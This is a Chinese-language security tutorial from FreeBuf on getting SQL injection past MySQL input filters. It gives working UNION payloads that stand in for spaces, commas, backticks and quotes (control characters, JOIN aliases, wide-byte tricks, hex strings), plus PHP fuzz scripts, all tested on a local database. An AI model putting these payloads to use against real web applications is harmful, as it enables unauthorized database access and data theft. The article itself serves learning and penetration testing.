SQL注入測試技巧TIP:再從Mysql注入繞過過濾說起
*本文原創作者:Zzzxbug,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
對於mysql的注入,基本上是每一名web安全從業者入門的基本功,這裡不多廢話,結合本人無聊時在mysql上的測試,來談一談mysql在過濾某些特殊字元情況下的注入,因為是想到哪寫到哪,文章比較散,各位大佬請繞過,和我一樣的小白可以看一看,溫故而知新,必有所獲。
php查詢mysql的後臺指令碼就不搭了,沒有多大意義,直接從mysql控制檯開始測試。首先從最簡單的開始:
直接使用mysql系統庫做測試:
我們假設在user後存在注入點:那麼在利用order by獲得列數後進行union注入:
現在開始增加難度,假設後端程式碼過濾了空格,我們可以替換空格的方法很多:/**/,0x0a,0x0b,0x0c,0x0d:
上圖使用/**/替換空格
上圖使用0x0a號字元替換空格,注意:按住alt鍵+小鍵盤輸入10再鬆開alt鍵即可在控制檯中輸入ascii字元0x0a
上圖使用0x0b號字元替換空格,注意:按住alt鍵+小鍵盤輸入11再鬆開alt鍵即可在控制檯中輸入ascii字元0x0b
上圖使用0x0c號字元替換空格,注意:按住alt鍵+小鍵盤輸入12再鬆開alt鍵即可在控制檯中輸入ascii字元0x0c
上圖使用0x0d號字元替換空格,注意:按住alt鍵+小鍵盤輸入13再鬆開alt鍵即可在控制檯中輸入ascii字元0x0d,但因為在控制檯中一旦輸入0x0d,就會執行指令,所以這裡只在union前輸入了一次。
做到這裡我們可能會想,除了這些字元外還有沒有其它字元可以替換空格呢,我們fuzz一下:
<?php $mysqli = new mysqli('localhost', 'root', '', 'mysql'); if ($mysqli->connect_errno) { die("could not connect to the database:\n" . $mysqli->connect_error); } $i=0; while($i++<256){ $sql = "select host,user from user where user='a'".chr($i)."union".chr($i)."select 1,2;"; $res = $mysqli->query($sql); if ($res) { echo "Ok!:$i:".chr($i)."<br>"; } } $mysqli->close(); ?>
將以上程式碼存為1.php,放入apache中網頁訪問,顯示結果:
可以發現,除了我們剛剛使用的0x0a,0x0b,0x0c,0x0d外還有9號與160號字元可以替換空格(32號本身就是空格,35是註釋符不能查詢獲得正確結果,9號是tab,剛剛漏了,至於160號字元為什麼行,我也不知道,那位哥如果知道可以告訴大家)。
進一步思考:如果這些字元都被過濾了,有沒有辦法不依靠空格來注入呢,辦法還是有的,看下面的語句:
在這個語句中:
select host,user from user where user='a'union(select`table_name`,`table_type`from`information_schema`.`tables`);
利用了括號、反引號來隔離了sql關鍵詞與庫名錶名列名,完成了注入。
接下來繼續提高難度,我們的注入語句中有許多逗號,看了讓人不爽,如果把逗號也過濾掉,我們有沒有辦法注入呢,方法還是有的,我們可以結合join語句和子查詢的別名來替換逗號,看下面的語句: 在這個語句中,我們利用join與別名,成功的避免使用逗號實現了注入:
select host,user from user where user='a'union(select*from((select`table_name`from`information_schema`.`tables`where`table_schema`='mysql')`a`join(select`table_type`from`information_schema`.`tables`where`table_schema`='mysql')b));
玩到這裡,我腦洞忽然大開:mysql的子查詢別名是可以無限巢狀的麼,像俄羅斯套娃一樣,下面的語句可以無限擴充套件麼,會不會出現溢位呢:
為了驗證,我又進行了一次fuzz,將下面的程式碼存為2.php,放入apache中網頁訪問:
<?php $mysqli = new mysqli('localhost', 'root', '', 'mysql'); if ($mysqli->connect_errno) { die("could not connect to the database:\n" . $mysqli->connect_error); } $i=1; $sql = "select'1'"; while($i++){ $alias='a'."$i"; $sql = "select*from(".$sql.")$alias"; $res = $mysqli->query($sql); if(!$res){ echo $mysqli->error; break; }else{ echo $sql."<br>"; } } $mysqli->close(); ?>
結果如下:
select*from(select'1')a2 select*from(select*from(select'1')a2)a3 select*from(select*from(select*from(select'1')a2)a3)a4 select*from(select*from(select*from(select*from(select'1')a2)a3)a4)a5 。。。。。。 select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select'1')a2)a3)a4)a5)a6)a7)a8)a9)a10)a11)a12)a13)a14)a15)a16)a17)a18)a19)a20)a21)a22)a23)a24)a25)a26)a27)a28)a29)a30)a31)a32)a33)a34)a35)a36)a37)a38)a39)a40)a41)a42)a43)a44)a45)a46)a47)a48)a49)a50)a51)a52)a53)a54)a55)a56)a57)a58)a59)a60)a61)a62)a63)a64 Too high level of nesting for select
可以看到在巢狀64次後,mysql輸出了”Too high level of nesting for select”的錯誤資訊,也就是說我們最多用mysql進行巢狀子查詢64層。
繼續回到正題上,再來看剛剛的語句:
select host,user from user where user='a'union(select*from((select`table_name`from`information_schema`.`tables`where`table_schema`='mysql')`a`join(select`table_type`from`information_schema`.`tables`where`table_schema`='mysql')b));
在庫名、表名、列名不帶空格、*、{、}等特殊符號的情況下(我猜想反引號的存在本來就是為了這類特殊庫名錶名列名準備的),語句中的反引號也可以用括號代替,變成下面的語句,這樣即使過濾了反引號也可以實現注入:
select host,user from user where user='a'union(select*from(((select(table_name)from(information_schema.tables)where(table_schema)='mysql')a)join(select(table_type)from(information_schema.tables)where(table_schema)='mysql')b));
如果存在寬位元組注入,那麼即使過濾了單引號,我們也可以注入,這時語句變成這樣:
select host,user from user where user='a?'union(select*from(((select(table_name)from(information_schema.tables)where(table_schema)=0x6D7973716C)a)join(select(table_type)from(information_schema.tables)where(table_schema)=0x6D7973716C)b));
在注入點處使用寬位元組繞過\,將後面的資料處替換成十六進位制,來避免了單引號。
其他技巧:
某些web應用只取查詢結果的第一行,這時可以使用group_concat()來獲取完整資料,例如:
select host,user from user where user='a?'union(select*from(((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=0x6D7973716C)a)join(select(table_type)from(information_schema.tables)where(table_schema)=0x6D7973716C)b));
也可以多加幾個條件判斷來逐行獲取所要的資料:
select host,user from user where user='a?'union(select*from(((select(table_name)from(information_schema.tables)where(table_schema)=(0x6D7973716C)and(table_name)!=(0x6462)and(table_name)!=(0x67687478).......)a)join(select(0x77)from(information_schema.tables)where(table_schema)=0x6D7973716C)b));
*本文原創作者:Zzzxbug,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載